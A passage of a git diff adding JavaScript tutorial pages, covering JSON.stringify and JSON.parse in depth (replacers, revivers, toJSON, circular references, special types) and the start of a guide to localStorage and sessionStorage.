+``` + +<Tip> +**JSON vs JavaScript Objects:** JSON syntax is a subset of JavaScript. All JSON is valid JavaScript, but not all JavaScript objects can be represented as JSON. Functions, `undefined`, Symbols, and circular references don't have JSON equivalents. +</Tip> + +--- + +## The Post Office Analogy + +Think of `JSON.stringify()` and `JSON.parse()` like sending a package through the post office: + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ JSON: THE DATA POST OFFICE │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ SENDING (stringify) RECEIVING (parse) │ +│ ────────────────── ───────────────── │ +│ │ +│ ┌──────────────┐ ┌──────────────┐ │ +│ │ JS Object │ │ JSON String │ │ +│ │ { name: ... }│ ───────────────────►│ '{"name":..}'│ │ +│ └──────────────┘ JSON.stringify() └──────────────┘ │ +│ │ +│ • Package your data • Receive the package │ +│ • Choose what to include (replacer) • Transform contents (reviver) │ +│ • Format it nicely (space) • Unpack to JS objects │ +│ │ +│ Some items can't be shipped: │ +│ • Functions (no delivery) │ +│ • undefined (vanishes) │ +│ • Circular references (rejected) │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +Just like a post office has rules about what you can ship, JSON has rules about what can be serialized. And just like you might want to inspect or modify packages, replacers and revivers let you transform data during the journey. + +--- + +## JSON.stringify() in Depth + +The `JSON.stringify()` method has three parameters, but most developers only use the first: + +```javascript +JSON.stringify(value) +JSON.stringify(value, replacer) +JSON.stringify(value, replacer, space) +``` + +Let's explore each parameter and unlock the full power of serialization. + +### Basic Serialization + +```javascript +// Objects +JSON.stringify({ a: 1, b: 2 }) // '{"a":1,"b":2}' + +// Arrays +JSON.stringify([1, 2, 3]) // '[1,2,3]' + +// Primitives +JSON.stringify('hello') // '"hello"' +JSON.stringify(42) // '42' +JSON.stringify(true) // 'true' +JSON.stringify(null) // 'null' +``` + +### What Gets Lost in Serialization + +Not everything survives the stringify process: + +```javascript +const obj = { + name: 'Alice', + greet: function() { return 'Hi!' }, // Functions: OMITTED + age: undefined, // undefined: OMITTED + id: Symbol('id'), // Symbols: OMITTED + count: NaN, // NaN: becomes null + infinity: Infinity, // Infinity: becomes null + nothing: null // null: preserved +} + +console.log(JSON.stringify(obj)) +// '{"name":"Alice","count":null,"infinity":null,"nothing":null}' +``` + +<Warning> +**Lost in Translation:** Functions, `undefined`, and Symbol values are silently omitted from objects. In arrays, they become `null`. This can cause subtle bugs if you're not careful! +</Warning> + +```javascript +// In arrays, these values become null instead of being omitted +const arr = [1, undefined, function() {}, Symbol('x'), 2] +JSON.stringify(arr) // '[1,null,null,null,2]' +``` + +--- + +## The Replacer Parameter + +The second parameter to `JSON.stringify()` controls what gets included in the output. It can be either a function or an array. + +### Replacer as a Function + +A replacer function is called for every key-value pair in the object: + +```javascript +function replacer(key, value) { + // 'this' is the object containing the current property + // 'key' is the property name (or index for arrays) + // 'value' is the property value + // Return the value to include, or undefined to exclude +} +``` + +```javascript +const data = { + name: 'Alice', + password: 'secret123', + email: 'alice@example.com', + age: 30 +} + +// Filter out sensitive data +const safeJSON = JSON.stringify(data, (key, value) => { + if (key === 'password') return undefined // Exclude + if (key === 'email') return '***hidden***' // Transform + return value // Keep everything else +}) + +console.log(safeJSON) +// '{"name":"Alice","email":"***hidden***","age":30}' +``` + +### The Initial Call + +The replacer is called first with an empty string key and the entire object as the value: + +```javascript +JSON.stringify({ a: 1 }, (key, value) => { + console.log(`key: "${key}", value:`, value) + return value +}) + +// Output: +// key: "", value: { a: 1 } ← Initial call (root object) +// key: "a", value: 1 ← Property 'a' +``` + +This lets you transform or replace the entire object: + +```javascript +// Wrap the entire output +JSON.stringify({ x: 1 }, (key, value) => { + if (key === '') { + return { wrapper: value, timestamp: Date.now() } + } + return value +}) +// '{"wrapper":{"x":1},"timestamp":1704067200000}' +``` + +### Replacer as an Array + +Pass an array of strings to include only specific properties: + +```javascript +const user = { + id: 1, + name: 'Alice', + email: 'alice@example.com', + password: 'secret', + role: 'admin', + createdAt: '2024-01-01' +} + +// Only include these properties +JSON.stringify(user, ['id', 'name', 'email']) +// '{"id":1,"name":"Alice","email":"alice@example.com"}' +``` + +<Tip> +**Array Replacer Limitation:** The array replacer only works for object properties, not nested objects. For deep filtering, use a replacer function. +</Tip> + +--- + +## The Space Parameter + +The third parameter adds whitespace for readability: + +```javascript +const data = { name: 'Alice', address: { city: 'NYC', zip: '10001' } } + +// No formatting (default) +JSON.stringify(data) +// '{"name":"Alice","address":{"city":"NYC","zip":"10001"}}' + +// With 2-space indentation +JSON.stringify(data, null, 2) +/* +{ + "name": "Alice", + "address": { + "city": "NYC", + "zip": "10001" + } +} +*/ + +// With tab indentation +JSON.stringify(data, null, '\t') +/* +{ + "name": "Alice", + "address": { + "city": "NYC", + "zip": "10001" + } +} +*/ +``` + +The space parameter can be: +- A number (0-10): Number of spaces for indentation +- A string (max 10 chars): The string to use for indentation + +```javascript +// Custom indentation string +JSON.stringify({ a: 1, b: 2 }, null, '→ ') +/* +{ +→ "a": 1, +→ "b": 2 +} +*/ +``` + +--- + +## JSON.parse() in Depth + +The `JSON.parse()` method converts a JSON string back into a JavaScript value: + +```javascript +JSON.parse(text) +JSON.parse(text, reviver) +``` + +### Basic Parsing + +```javascript +JSON.parse('{"name":"Alice","age":30}') // { name: 'Alice', age: 30 } +JSON.parse('[1, 2, 3]') // [1, 2, 3] +JSON.parse('"hello"') // 'hello' +JSON.parse('42') // 42 +JSON.parse('true') // true +JSON.parse('null') // null +``` + +### Invalid JSON Throws Errors + +```javascript +// Missing quotes around keys (valid JS, invalid JSON) +JSON.parse('{name: "Alice"}') // SyntaxError + +// Single quotes (valid JS, invalid JSON) +JSON.parse("{'name': 'Alice'}") // SyntaxError + +// Trailing comma (valid JS, invalid JSON) +JSON.parse('{"a": 1,}') // SyntaxError + +// Comments (not allowed in JSON) +JSON.parse('{"a": 1 /* comment */}') // SyntaxError +``` + +<Warning> +**JSON is Strict:** Unlike JavaScript object literals, JSON requires double quotes around property names and string values. No trailing commas, no comments, no single quotes. +</Warning> + +--- + +## The Reviver Parameter + +The reviver function transforms values during parsing, working from the innermost values outward: + +```javascript +function reviver(key, value) { + // 'this' is the object containing the current property + // 'key' is the property name + // 'value' is the already-parsed value + // Return the transformed value, or undefined to delete +} +``` + +### Reviving Dates + +Dates are a classic use case for revivers. JSON has no Date type, so dates become strings: + +```javascript +const json = '{"name":"Alice","createdAt":"2024-01-15T10:30:00.000Z"}' + +// Without reviver: date is just a string +const obj1 = JSON.parse(json) +console.log(obj1.createdAt) // "2024-01-15T10:30:00.000Z" (string) +console.log(obj1.createdAt.getTime()) // TypeError: not a function + +// With reviver: date is a Date object +const obj2 = JSON.parse(json, (key, value) => { + // Check if value looks like an ISO date string + if (typeof value === 'string' && /^\d{4}-\d{2}-\d{2}T/.test(value)) { + return new Date(value) + } + return value +}) + +console.log(obj2.createdAt) // Date object +console.log(obj2.createdAt.getTime()) // 1705315800000 +``` + +### Processing Order + +The reviver processes values from innermost to outermost: + +```javascript +JSON.parse('{"a":{"b":1},"c":2}', (key, value) => { + console.log(`key: "${key}", value:`, value) + return value +}) + +// Output (note the order): +// key: "b", value: 1 ← Innermost first +// key: "a", value: { b: 1 } ← Then containing object +// key: "c", value: 2 ← Sibling +// key: "", value: {...} ← Root object last +``` + +### Filtering During Parse + +Return `undefined` from a reviver to delete a property: + +```javascript +const json = '{"name":"Alice","__internal":true,"id":1}' + +const cleaned = JSON.parse(json, (key, value) => { + // Remove any properties starting with __ + if (key.startsWith('__')) return undefined + return value +}) + +console.log(cleaned) // { name: 'Alice', id: 1 } +``` + +--- + +## Custom toJSON() Methods + +When `JSON.stringify()` encounters an object with a `toJSON()` method, it calls that method and uses its return value instead: + +```javascript +const user = { + name: 'Alice', + password: 'secret123', + toJSON() { + // Return what should be serialized + return { name: this.name } // Password excluded + } +} + +JSON.stringify(user) // '{"name":"Alice"}' +``` + +### Built-in toJSON() + +Some built-in objects already have `toJSON()` methods: + +```javascript +// Date has toJSON() that returns ISO string +const date = new Date('2024-01-15T10:30:00Z') +JSON.stringify(date) // '"2024-01-15T10:30:00.000Z"' +JSON.stringify({ created: date }) // '{"created":"2024-01-15T10:30:00.000Z"}' +``` + +### toJSON with Classes + +```javascript +class User { + constructor(name, email, password) { + this.name = name + this.email = email + this.password = password + this.createdAt = new Date() + } + + toJSON() { + return { + name: this.name, + email: this.email, + // Exclude password + // Convert Date to ISO string explicitly + createdAt: this.createdAt.toISOString() + } + } +} + +const user = new User('Alice', 'alice@example.com', 'secret') +JSON.stringify(user) +// '{"name":"Alice","email":"alice@example.com","createdAt":"2024-01-15T..."}' +``` + +### toJSON Receives the Key + +The `toJSON()` method receives the property key as an argument: + +```javascript +const obj = { + toJSON(key) { + return key ? `Nested under "${key}"` : 'Root level' + } +} + +JSON.stringify(obj) // '"Root level"' +JSON.stringify({ data: obj }) // '{"data":"Nested under \\"data\\""}' +JSON.stringify([obj]) // '["Nested under \\"0\\""]' +``` + +--- + +## Handling Circular References + +Circular references occur when an object references itself, directly or indirectly: + +```javascript +const obj = { name: 'Alice' } +obj.self = obj // Circular reference! + +JSON.stringify(obj) // TypeError: Converting circular structure to JSON +``` + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ CIRCULAR REFERENCE │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ const obj = { name: 'Alice' } │ +│ obj.self = obj │ +│ │ +│ ┌──────────────────┐ │ +│ │ obj │ │ +│ │ │ │ +│ │ name: 'Alice' │ │ +│ │ self: ─────────────┐ │ +│ │ │ │ │ +│ └──────────────────┘ │ │ +│ ▲ │ │ +│ └──────────────┘ (points back to itself) │ +│ │ +│ JSON can't represent this - it would be infinitely long! │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +### Detecting Circular References + +Use a replacer function with a WeakSet to track seen objects: + +```javascript +function safeStringify(obj) { + const seen = new WeakSet() + + return JSON.stringify(obj, (key, value) => { + // Only check objects (not primitives) + if (typeof value === 'object' && value !== null) { + if (seen.has(value)) { + return '[Circular Reference]' // Or return undefined to omit + } + seen.add(value) + } + return value + }) +} + +const obj = { name: 'Alice' } +obj.self = obj + +console.log(safeStringify(obj)) +// '{"name":"Alice","self":"[Circular Reference]"}' +``` + +### Real-World Example: DOM Nodes + +DOM elements often have circular references through parent/child relationships: + +```javascript +// In a browser environment: +// const div = document.createElement('div') +// JSON.stringify(div) // TypeError: circular structure + +// Solution: Extract only the data you need +function serializeDOMNode(node) { + return JSON.stringify({ + tagName: node.tagName, + id: node.id, + className: node.className, + childCount: node.children.length + }) +} +``` + +--- + +## Serializing Special Types + +### Dates + +```javascript +// Dates serialize as ISO strings automatically +const event = { name: 'Meeting', date: new Date('2024-06-15') } +const json = JSON.stringify(event) +// '{"name":"Meeting","date":"2024-06-15T00:00:00.000Z"}' + +// Revive them back to Date objects +const parsed = JSON.parse(json, (key, value) => { + if (key === 'date') return new Date(value) + return value +}) +``` + +### Maps and Sets + +Maps and Sets serialize as empty objects by default: + +```javascript +const map = new Map([['a', 1], ['b', 2]]) +JSON.stringify(map) // '{}' - Not what we want! + +const set = new Set([1, 2, 3]) +JSON.stringify(set) // '{}' - Also empty! +``` + +**Solution:** Convert to arrays: + +```javascript +// Custom replacer for Map and Set +function replacer(key, value) { + if (value instanceof Map) { + return { + __type: 'Map', + entries: Array.from(value.entries()) + } + } + if (value instanceof Set) { + return { + __type: 'Set', + values: Array.from(value) + } + } + return value +} + +// Custom reviver +function reviver(key, value) { + if (value && value.__type === 'Map') { + return new Map(value.entries) + } + if (value && value.__type === 'Set') { + return new Set(value.values) + } + return value +} + +// Usage +const data = { + users: new Map([['alice', { age: 30 }], ['bob', { age: 25 }]]), + tags: new Set(['javascript', 'tutorial']) +} + +const json = JSON.stringify(data, replacer, 2) +console.log(json) +/* +{ + "users": { + "__type": "Map", + "entries": [["alice", {"age": 30}], ["bob", {"age": 25}]] + }, + "tags": { + "__type": "Set", + "values": ["javascript", "tutorial"] + } +} +*/ + +const restored = JSON.parse(json, reviver) +console.log(restored.users instanceof Map) // true +console.log(restored.tags instanceof Set) // true +``` + +### BigInt + +BigInt values throw an error by default: + +```javascript +const data = { bigNumber: 12345678901234567890n } +JSON.stringify(data) // TypeError: Do not know how to serialize a BigInt +``` + +**Solution:** Use `toJSON()` on BigInt prototype (with caution) or a replacer: + +```javascript +// Option 1: Replacer function +function bigIntReplacer(key, value) { + if (typeof value === 'bigint') { + return { __type: 'BigInt', value: value.toString() } + } + return value +} + +function bigIntReviver(key, value) { + if (value && value.__type === 'BigInt') { + return BigInt(value.value) + } + return value +} + +const data = { id: 9007199254740993n } // Too big for Number +const json = JSON.stringify(data, bigIntReplacer) +// '{"id":{"__type":"BigInt","value":"9007199254740993"}}' + +const restored = JSON.parse(json, bigIntReviver) +console.log(restored.id) // 9007199254740993n +``` + +--- + +## Common Patterns and Use Cases + +### Deep Clone (Simple Objects) + +```javascript +// Quick deep clone (only for JSON-safe objects) +const original = { a: 1, b: { c: 2 } } +const clone = JSON.parse(JSON.stringify(original)) + +clone.b.c = 999 +console.log(original.b.c) // 2 (unchanged) +``` + +<Warning> +**Deep Clone Limitations:** This method loses functions, undefined values, Symbols, and prototype chains. For complex objects, use `structuredClone()` instead. +</Warning> + +### Local Storage Wrapper + +```javascript +const storage = { + set(key, value) { + localStorage.setItem(key, JSON.stringify(value)) + }, + + get(key, defaultValue = null) { + const item = localStorage.getItem(key) + if (item === null) return defaultValue + + try { + return JSON.parse(item) + } catch { + return defaultValue + } + }, + + remove(key) { + localStorage.removeItem(key) + } +} + +// Usage +storage.set('user', { name: 'Alice', preferences: { theme: 'dark' } }) +const user = storage.get('user') +``` + +### API Response Transformation + +```javascript +// Transform API response during parsing +async function fetchUser(id) { + const response = await fetch(`/api/users/${id}`) + const text = await response.text() + + return JSON.parse(text, (key, value) => { + // Convert date strings to Date objects + if (key.endsWith('At') && typeof value === 'string') { + return new Date(value) + } + // Convert cent amounts to dollars + if (key.endsWith('Cents') && typeof value === 'number') { + return value / 100 + } + return value + }) +} +``` + +### Logging with Redaction + +```javascript +function safeLog(obj, sensitiveKeys = ['password', 'token', 'secret']) { + const redacted = JSON.stringify(obj, (key, value) => { + if (sensitiveKeys.includes(key.toLowerCase())) { + return '[REDACTED]' + } + return value + }, 2) + + console.log(redacted) +} + +safeLog({ + user: 'alice', + password: 'secret123', + data: { apiToken: 'abc123' } +}) +/* +{ + "user": "alice", + "password": "[REDACTED]", + "data": { + "apiToken": "[REDACTED]" + } +} +*/ +``` + +--- + +## Key Takeaways + +<Info> +**The key things to remember:** + +1. **JSON.stringify() has 3 parameters:** value, replacer, and space. Most developers only use the first. + +2. **Replacer can be a function or array.** Functions transform each value; arrays whitelist properties. + +3. **Not everything survives stringify.** Functions, undefined, and Symbols are lost. NaN and Infinity become null. + +4. **JSON.parse() revivers work inside-out.** Innermost values are processed first, root object last. + +5. **Dates become strings.** Use a reviver to convert them back to Date objects. + +6. **Maps and Sets become empty objects.** You need custom replacer/reviver pairs to preserve them. + +7. **BigInt throws by default.** Use a replacer to convert to strings or marked objects. + +8. **Circular references throw errors.** Track seen objects with a WeakSet in your replacer. + +9. **toJSON() controls serialization.** Objects with this method return its result instead of themselves. + +10. **For deep cloning, consider structuredClone().** JSON round-tripping loses too much for complex objects. +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="What happens when you stringify an object with a function property?"> + **Answer:** + + Function properties are silently omitted from the JSON output: + + ```javascript + const obj = { + name: 'Alice', + greet: function() { return 'Hi!' } + } + + JSON.stringify(obj) // '{"name":"Alice"}' + // The 'greet' property is completely missing + ``` + + The same applies to `undefined` values and Symbol keys. In arrays, these values become `null` instead of being omitted. + </Accordion> + + <Accordion title="How do you exclude specific properties during serialization?"> + **Answer:** + + You have two options: + + **Option 1: Array replacer (simple whitelist)** + ```javascript + const user = { id: 1, name: 'Alice', password: 'secret' } + JSON.stringify(user, ['id', 'name']) // '{"id":1,"name":"Alice"}' + ``` + + **Option 2: Function replacer (more flexible)** + ```javascript + JSON.stringify(user, (key, value) => { + if (key === 'password') return undefined // Exclude + return value + }) + ``` + + The function approach is more powerful because it can handle nested objects and conditional logic. + </Accordion> + + <Accordion title="Why does JSON.parse() of a date string not return a Date object?"> + **Answer:** + + JSON has no native Date type. When you `stringify` a Date, it becomes an ISO 8601 string. When you `parse` that string, JavaScript has no way to know it was originally a Date: + + ```javascript + const original = { created: new Date() } + const json = JSON.stringify(original) + // '{"created":"2024-01-15T10:30:00.000Z"}' + + const parsed = JSON.parse(json) + console.log(typeof parsed.created) // "string" (not Date!) + ``` + + Use a reviver function to convert date strings back to Date objects: + + ```javascript + JSON.parse(json, (key, value) => { + if (key === 'created') return new Date(value) + return value + }) + ``` + </Accordion> + + <Accordion title="What's the difference between replacer and toJSON()?"> + **Answer:** + + - **`toJSON()`** is defined on the object being serialized. It controls how that specific object is converted. + - **Replacer** is passed to `stringify()` and runs on every value in the entire object tree. + + ```javascript + // toJSON: Object controls its own serialization + const user = { + name: 'Alice', + password: 'secret', + toJSON() { + return { name: this.name } // Hides password + } + } + + // Replacer: External control over all values + JSON.stringify(data, (key, value) => { + if (key === 'password') return undefined + return value + }) + ``` + + When both are present, `toJSON()` runs first, then the replacer processes its result. + </Accordion> + + <Accordion title="How do you handle circular references?"> + **Answer:** + + Use a WeakSet to track objects you've already seen: + + ```javascript + function safeStringify(obj) { + const seen = new WeakSet() + + return JSON.stringify(obj, (key, value) => { + if (typeof value === 'object' && value !== null) { + if (seen.has(value)) { + return '[Circular]' + } + seen.add(value) + } + return value + }) + } + + const obj = { name: 'test' } + obj.self = obj + + safeStringify(obj) // '{"name":"test","self":"[Circular]"}' + ``` + + WeakSet is ideal here because it doesn't prevent garbage collection and only stores objects. + </Accordion> + + <Accordion title="How do you pretty-print JSON with custom indentation?"> + **Answer:** + + Use the third parameter (`space`) of `JSON.stringify()`: + + ```javascript + const data = { name: 'Alice', age: 30 } + + // 2-space indentation + JSON.stringify(data, null, 2) + + // 4-space indentation + JSON.stringify(data, null, 4) + + // Tab indentation + JSON.stringify(data, null, '\t') + + // Custom string (max 10 characters) + JSON.stringify(data, null, '>> ') + ``` + + Numbers are clamped to 10, and strings are truncated to 10 characters. + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="Object Methods" icon="cube" href="/beyond/concepts/object-methods"> + Built-in methods for working with objects, which JSON serialization relies on. + </Card> + <Card title="localStorage & sessionStorage" icon="database" href="/beyond/concepts/localstorage-sessionstorage"> + Web Storage APIs that commonly use JSON for storing complex data. + </Card> + <Card title="Fetch API" icon="globe" href="/concepts/http-fetch"> + Making HTTP requests where JSON is the standard data format. + </Card> + <Card title="Error Handling" icon="triangle-exclamation" href="/concepts/error-handling"> + Properly handling JSON.parse errors for invalid input. + </Card> +</CardGroup> + +--- + +## Reference + +<CardGroup cols={2}> + <Card title="JSON — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON"> + Complete reference for the JSON global object and its methods. + </Card> + <Card title="JSON.stringify() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify"> + Detailed documentation for the stringify method with all parameters. + </Card> + <Card title="JSON.parse() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse"> + Documentation for parsing JSON strings with reviver functions. + </Card> +</CardGroup> + +--- + +## Articles + +<CardGroup cols={2}> + <Card title="JSON methods, toJSON — javascript.info" icon="newspaper" href="https://javascript.info/json"> + Comprehensive tutorial covering JSON.stringify, JSON.parse, toJSON, and practical examples. Great for learning the fundamentals with interactive exercises. + </Card> + <Card title="How to Use JSON.stringify() and JSON.parse() — freeCodeCamp" icon="newspaper" href="https://www.freecodecamp.org/news/json-stringify-example-how-to-parse-a-json-object-with-javascript/"> + Detailed tutorial covering all aspects of JSON serialization including replacers, revivers, and practical examples for web developers. + </Card> + <Card title="Circular References in JavaScript — MDN" icon="newspaper" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors/Cyclic_object_value"> + Official documentation explaining circular reference errors and strategies to handle them in JSON serialization. + </Card> + <Card title="Working with JSON — MDN Guide" icon="newspaper" href="https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Scripting/JSON"> + MDN's beginner-friendly guide to JSON, including fetching JSON data and working with APIs. + </Card> +</CardGroup> + +--- + +## Videos + +<CardGroup cols={2}> + <Card title="JSON Parse & Stringify — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=l3sCILAHmSw"> + Clear explanation of JSON basics plus advanced topics like replacers and revivers. Kyle's teaching style makes complex concepts accessible. + </Card> + <Card title="JavaScript JSON Methods — Traversy Media" icon="video" href="https://www.youtube.com/watch?v=wI1CWzNtE-M"> + Practical walkthrough of JSON methods with real coding examples. Great for seeing how JSON is used in actual web development. + </Card> + <Card title="JSON in 100 Seconds — Fireship" icon="video" href="https://www.youtube.com/watch?v=iiADhChRriM"> + Lightning-fast overview of JSON format and JavaScript methods. Perfect refresher if you already know the basics. + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/localstorage-sessionstorage.mdx b/docs/beyond/concepts/localstorage-sessionstorage.mdx new file mode 100644 index 00000000..a62a424f --- /dev/null +++ b/docs/beyond/concepts/localstorage-sessionstorage.mdx @@ -0,0 +1,980 @@ +--- +title: "localStorage & sessionStorage: Web Storage in JavaScript" +sidebarTitle: "localStorage & sessionStorage" +description: "Master Web Storage APIs in JavaScript. Learn localStorage vs sessionStorage, JSON serialization, storage events, security best practices, and when to use each." +--- + +How do you keep a user's dark mode preference when they return to your site? Why does your shopping cart persist across browser sessions, but form data vanishes when you close a tab? How do modern web apps remember state without constantly calling the server? + +```javascript +// Save user preference - persists forever (until cleared) +localStorage.setItem("theme", "dark") + +// Retrieve the preference later +const theme = localStorage.getItem("theme") // "dark" + +// Temporary data - gone when tab closes +sessionStorage.setItem("formDraft", "Hello...") + +// Check what's stored +console.log(localStorage.length) // 1 +console.log(sessionStorage.length) // 1 +``` + +The answer is the **[Web Storage API](https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API)**. It's one of the most practical browser APIs you'll use daily, and understanding when to use `localStorage` vs `sessionStorage` will make your applications more user-friendly and performant. + +<Info> +**What you'll learn in this guide:** +- The difference between [`localStorage`](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) and [`sessionStorage`](https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage) +- The complete Web Storage API (`setItem`, `getItem`, `removeItem`, `clear`, `key`, `length`) +- Storing complex data with [JSON](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON) serialization +- Storage events for cross-tab communication +- Storage limits, quotas, and private browsing behavior +- Security considerations and XSS prevention +- When to use Web Storage vs cookies vs IndexedDB +</Info> + +<Warning> +**Prerequisites:** This guide assumes you're familiar with the [DOM](/concepts/dom) and basic JavaScript objects. Understanding [JSON](/beyond/concepts/json-deep-dive) will help with the serialization sections. +</Warning> + +--- + +## What is Web Storage in JavaScript? + +**[Web Storage](https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API)** is a browser API that allows JavaScript to store key-value pairs locally in the user's browser. Unlike cookies, stored data is never sent to the server with HTTP requests. Web Storage provides two mechanisms: `localStorage` for persistent storage that survives browser restarts, and `sessionStorage` for temporary storage that is cleared when the browser tab closes. + +Here's the key insight: Web Storage is synchronous, string-only, and scoped to the origin (protocol + domain + port). These constraints make it simple to use but require understanding for effective implementation. + +<Note> +Web Storage has been available in all major browsers since July 2015. It's part of the HTML5 specification and is considered a "Baseline" feature—meaning you can rely on it working everywhere. +</Note> + +--- + +## The Hotel Storage Analogy + +Think of browser storage like staying at a hotel: + +**localStorage** is like a **permanent storage locker** at the hotel. You rent it once, and your belongings stay there even if you leave and come back months later. The only way items disappear is if you remove them yourself or the hotel clears them out. + +**sessionStorage** is like the **safe in your hotel room**. It's convenient and secure while you're staying, but the moment you check out (close the tab), everything in the safe is cleared. Each room (tab) has its own separate safe. + +``` +┌─────────────────────────────────────────────────────────────────────────────┐ +│ WEB STORAGE: THE HOTEL ANALOGY │ +├─────────────────────────────────────────────────────────────────────────────┤ +│ │ +│ localStorage sessionStorage │ +│ ═══════════ ══════════════ │ +│ │ +│ ┌─────────────────┐ ┌─────────────────┐ │ +│ │ STORAGE LOCKER │ │ ROOM SAFE │ │ +│ │ │ │ │ │ +│ │ ┌───────────┐ │ │ ┌───────────┐ │ │ +│ │ │ Theme: │ │ │ │ Form: │ │ │ +│ │ │ "dark" │ │ │ │ "draft" │ │ │ +│ │ ├───────────┤ │ │ └───────────┘ │ │ +│ │ │ User: │ │ │ │ │ +│ │ │ "Alice" │ │ │ Cleared when │ │ +│ │ └───────────┘ │ │ tab closes │ │ +│ │ │ │ │ │ +│ │ Persists │ └─────────────────┘ │ +│ │ forever │ │ +│ └─────────────────┘ Each tab has its own safe! │ +│ │ +│ Shared across ALL ┌─────────┐ ┌─────────┐ │ +│ tabs and windows │ Tab 1 │ │ Tab 2 │ │ +│ from same origin │ Safe A │ │ Safe B │ │ +│ └─────────┘ └─────────┘ │ +│ │ +└─────────────────────────────────────────────────────────────────────────────┘ +``` + +This is exactly how Web Storage works: +- **localStorage**: Shared across all tabs/windows from the same origin, persists until explicitly cleared +- **sessionStorage**: Isolated to each tab, cleared when the tab closes + +--- + +## localStorage vs sessionStorage Comparison + +Both APIs share the exact same methods, but their behavior differs significantly: + +| Feature | localStorage | sessionStorage | +|---------|-------------|----------------| +| **Persistence** | Until explicitly cleared | Until tab/window closes | +| **Scope** | Shared across all tabs/windows | Isolated to single tab | +| **Survives browser restart** | Yes | No | +| **Survives page refresh** | Yes | Yes | +| **Storage limit** | ~5-10 MB per origin | ~5-10 MB per origin | +| **Accessible from** | Any tab with same origin | Only the originating tab | + +### When to Use Each + +<Tabs> + <Tab title="Use localStorage for"> + ```javascript + // User preferences that should persist + localStorage.setItem("theme", "dark") + localStorage.setItem("language", "en") + localStorage.setItem("fontSize", "16px") + + // Recently viewed items + const recentItems = ["item1", "item2", "item3"] + localStorage.setItem("recentlyViewed", JSON.stringify(recentItems)) + + // Feature flags or A/B test assignments + localStorage.setItem("experiment_checkout_v2", "true") + ``` + </Tab> + <Tab title="Use sessionStorage for"> + ```javascript + // Form data that shouldn't persist after session + sessionStorage.setItem("checkoutStep", "2") + sessionStorage.setItem("formDraft", JSON.stringify(formData)) + + // Temporary navigation state + sessionStorage.setItem("scrollPosition", "450") + sessionStorage.setItem("lastSearchQuery", "javascript tutorials") + + // One-time messages or notifications + sessionStorage.setItem("welcomeShown", "true") + ``` + </Tab> +</Tabs> + +--- + +## The Web Storage API + +Both `localStorage` and `sessionStorage` implement the [`Storage`](https://developer.mozilla.org/en-US/docs/Web/API/Storage) interface, providing identical methods: + +### setItem(key, value) + +Stores a key-value pair. If the key already exists, updates the value. + +```javascript +// Basic usage +localStorage.setItem("username", "alice") +sessionStorage.setItem("sessionId", "abc123") + +// Overwrites existing value +localStorage.setItem("username", "bob") // Now "bob" +``` + +### getItem(key) + +Retrieves the value for a key. Returns `null` if the key doesn't exist. + +```javascript +const username = localStorage.getItem("username") // "bob" +const missing = localStorage.getItem("nonexistent") // null + +// Common pattern: provide default value +const theme = localStorage.getItem("theme") || "light" +``` + +### removeItem(key) + +Removes a specific key-value pair. + +```javascript +localStorage.removeItem("username") +localStorage.getItem("username") // null +``` + +### clear() + +Removes ALL key-value pairs from storage. + +```javascript +// Clear everything - use with caution! +localStorage.clear() +sessionStorage.clear() +``` + +### key(index) + +Returns the key at a given index. Useful for iterating. + +```javascript +localStorage.setItem("a", "1") +localStorage.setItem("b", "2") + +localStorage.key(0) // "a" (order not guaranteed) +localStorage.key(1) // "b" +localStorage.key(99) // null (index out of bounds) +``` + +### length + +Property that returns the number of stored items. + +```javascript +localStorage.clear() +localStorage.setItem("x", "1") +localStorage.setItem("y", "2") + +console.log(localStorage.length) // 2 +``` + +### Complete Example + +```javascript +// A simple storage utility +function demonstrateStorageAPI() { + // Clear previous data + localStorage.clear() + + // Store some items + localStorage.setItem("name", "Alice") + localStorage.setItem("role", "Developer") + localStorage.setItem("level", "Senior") + + console.log("Items stored:", localStorage.length) // 3 + + // Read an item + console.log("Name:", localStorage.getItem("name")) // "Alice" + + // Update an item + localStorage.setItem("level", "Lead") + console.log("Updated level:", localStorage.getItem("level")) // "Lead" + + // Iterate over all items + for (let i = 0; i < localStorage.length; i++) { + const key = localStorage.key(i) + const value = localStorage.getItem(key) + console.log(`${key}: ${value}`) + } + + // Remove one item + localStorage.removeItem("role") + console.log("After removal:", localStorage.length) // 2 + + // Clear everything + localStorage.clear() + console.log("After clear:", localStorage.length) // 0 +} +``` + +--- + +## Storing Complex Data with JSON + +Web Storage can only store strings. When you try to store other types, they're automatically converted to strings—often with unexpected results: + +```javascript +// Numbers become strings +localStorage.setItem("count", 42) +typeof localStorage.getItem("count") // "string", value is "42" + +// Booleans become strings +localStorage.setItem("isActive", true) +localStorage.getItem("isActive") // "true" (string, not boolean!) + +// Objects become "[object Object]" - NOT useful! +localStorage.setItem("user", { name: "Alice" }) +localStorage.getItem("user") // "[object Object]" - data lost! + +// Arrays become comma-separated strings +localStorage.setItem("items", [1, 2, 3]) +localStorage.getItem("items") // "1,2,3" (string, not array) +``` + +### The Solution: JSON.stringify and JSON.parse + +Use [`JSON.stringify()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify) when storing and 